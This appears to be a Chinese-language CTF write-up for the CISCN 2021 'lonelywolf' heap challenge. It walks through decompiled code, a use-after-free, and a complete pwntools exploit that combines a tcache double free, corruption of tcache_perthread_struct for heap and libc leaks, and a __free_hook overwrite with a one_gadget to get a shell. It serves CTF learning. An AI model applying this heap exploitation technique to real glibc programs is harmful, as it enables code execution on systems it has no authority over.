这道题的环境是 libc 2.27,nssctf 没给,还是我看题解才知道的。
题面
就给了二进制。
分析
libc 2.27。tcache 基本没什么保护。
checksec:
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./lonelywolf
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2021_初赛-lonelywolf/lonelywolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
|
保护全开也是正常。ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
_QWORD v3[5]; // [rsp+0h] [rbp-28h] BYREF
v3[1] = __readfsqword(0x28u);
sub_AC0(a1, a2, a3);
while ( 1 )
{
puts(s: "1. allocate");
puts(s: "2. edit");
puts(s: "3. show");
puts(s: "4. delete");
puts(s: "5. exit");
__printf_chk(a1: 1, a2: "Your choice: ");
__isoc99_scanf(a1: &unk_F44, a2: v3);
switch ( v3[0] )
{
case 1LL:
allocate();
break;
case 2LL:
edit();
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(status: 0);
default:
puts(s: "Unknown");
break;
}
}
}
|
allocate()
堆分配,限定 index 要为 0,也就是只能控制一个地址。且 size 不能大于 0x78。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
unsigned __int64 allocate()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(a1: 1, a2: "Index: ");
__isoc99_scanf(a1: &unk_F44, a2: &size);
if ( size == 0 )
{
__printf_chk(a1: 1, a2: "Size: ");
__isoc99_scanf(a1: &unk_F44, a2: &size);
v1 = size;
if ( size > 0x78 )
{
__printf_chk(a1: 1, a2: "Too large");
}
else
{
v2 = malloc(size);
if ( v2 != nullptr )
{
size_bss = v1;
buf = v2;
puts(s: "Done!");
}
else
{
puts(s: "allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
|
edit() & show()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(a1: 1, a2: "Index: ");
__isoc99_scanf(a1: &unk_F44, a2: &v3);
if ( v3 == 0 && buf != nullptr )
{
__printf_chk(a1: 1, a2: "Content: ");
v0 = buf;
if ( size_bss != 0 )
{
v1 = (char *)buf + size_bss;
while ( 1 )
{
read(fd: 0, buf: v0, nbytes: 1u);
if ( *v0 == 10 )
break;
if ( ++v0 == v1 )
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0;
}
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(a1: 1, a2: "Index: ");
__isoc99_scanf(a1: &unk_F44, a2: &v1);
if ( v1 == 0 && buf != nullptr )
__printf_chk(a1: 1, a2: "Content: %s\n", (const char *)buf);
return __readfsqword(0x28u) ^ v2;
}
|
delete()
UAF。
1
2
3
4
5
6
7
8
9
10
11
12
|
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(a1: 1, a2: "Index: ");
__isoc99_scanf(a1: &unk_F44, a2: &v1);
if ( v1 == 0 && buf != nullptr )
free(ptr: buf);
return __readfsqword(0x28u) ^ v2;
}
|
整理是 UAF 题,但是智能控制一个地址就比较难受了。
利用
这里的 index 直接写死为 0 就好了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
def select(id: int):
io.recvuntil(b"Your choice: ")
io.sendline(str(id).encode())
def allocate(size: int):
select(1)
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
def edit(content: bytes):
select(2)
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Content: ")
io.sendline(content)
def show():
select(3)
io.recvuntil(b"Index: ")
io.sendline(b"0")
def delete():
select(4)
io.recvuntil(b"Index: ")
io.sendline(b"0")
def debug():
gdb.attach(
io,
gdbscript="""
decompiler connect ida
""",
)
|
tcache double free
首先一个 tcache 的 double free 拿到堆基址:
1
2
3
4
5
6
7
|
allocate(0x70)
delete()
edit(p64(0) * 2) # 清除 key
delete()
show()
heap_base_addr = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x260
print("heap base address =", hex(heap_base_addr))
|
因为 2.27 后续版本给 tcache 加了 key 值比较防止 double free,所以第一次 free 的时候要先清除 key 再来 double free,否则直接 abort。
篡改 tcache_perthread_struct
拿到堆基址还有 double free 之后就能把 tcache_prethread_struct 放进 tcachebin 里对其篡改进而拿到 libc。
tcache_prethread_struct 的结构为:
1
2
3
4
5
|
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
|
核心看 glibc 堆的初步了解 这篇就能有比较好的了解。总而言之,拿到这个地址之后把这个地址大小的 count 给篡改为满(7),然后再把这个地址 free 了直接进 unsortedbins 里,就拿到 libc 基址。
1
|
edit(p64(heap_base_addr + 0x10))
|

1
2
3
4
5
|
allocate(0x70)
allocate(0x70)
edit(b"\x00" * 0x23 + b"\x07") # 0x250 置 7
delete()
|

1
2
3
|
show()
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3EBCA0
print("libc base address =", hex(libc_base))
|
接着就是篡改 free_hook 变成 one_gadget 直接拿 shell。
1
2
|
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x10a2fc # 这里 one_gadget 和远程不一致,打不通
|
__free_hook 的 one_gadget
因为目前掌握的堆地址还是在 tcache_prethread_struct 上,所以再继续篡改,直接把 0x20 那块的入口改成 __free_hook:
1
|
edit(b"\x03" + b"\x00" * 0x3F + p64(free_hook))
|

这样 malloc 0x18 就能直接改写 __free_hook 了。
1
2
3
4
5
|
allocate(0x18)
edit(p64(one_gadget))
delete()
io.interactive()
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
from pwn import *
io = process("./lonelywolf")
#io = remote("node4.anna.nssctf.cn", 25638)
libc = ELF("./libc.so.6")
context.log_level = "info"
def select(id: int):
io.recvuntil(b"Your choice: ")
io.sendline(str(id).encode())
def allocate(size: int):
select(1)
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
def edit(content: bytes):
select(2)
io.recvuntil(b"Index: ")
io.sendline(b"0")
io.recvuntil(b"Content: ")
io.sendline(content)
def show():
select(3)
io.recvuntil(b"Index: ")
io.sendline(b"0")
def delete():
select(4)
io.recvuntil(b"Index: ")
io.sendline(b"0")
def debug():
gdb.attach(
io,
gdbscript="""
decompiler connect ida
""",
)
allocate(0x70)
delete()
edit(p64(0) * 2) # 清除 key
delete()
show()
heap_base_addr = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x260
print("heap base address =", hex(heap_base_addr))
edit(p64(heap_base_addr + 0x10))
allocate(0x70)
allocate(0x70)
edit(b"\x00" * 0x23 + b"\x07") # 0x250 置 7
delete()
show()
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3EBCA0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x10a2fc
edit(b"\x03" + b"\x00" * 0x3F + p64(free_hook))
allocate(0x18)
edit(p64(one_gadget))
delete()
io.interactive()
|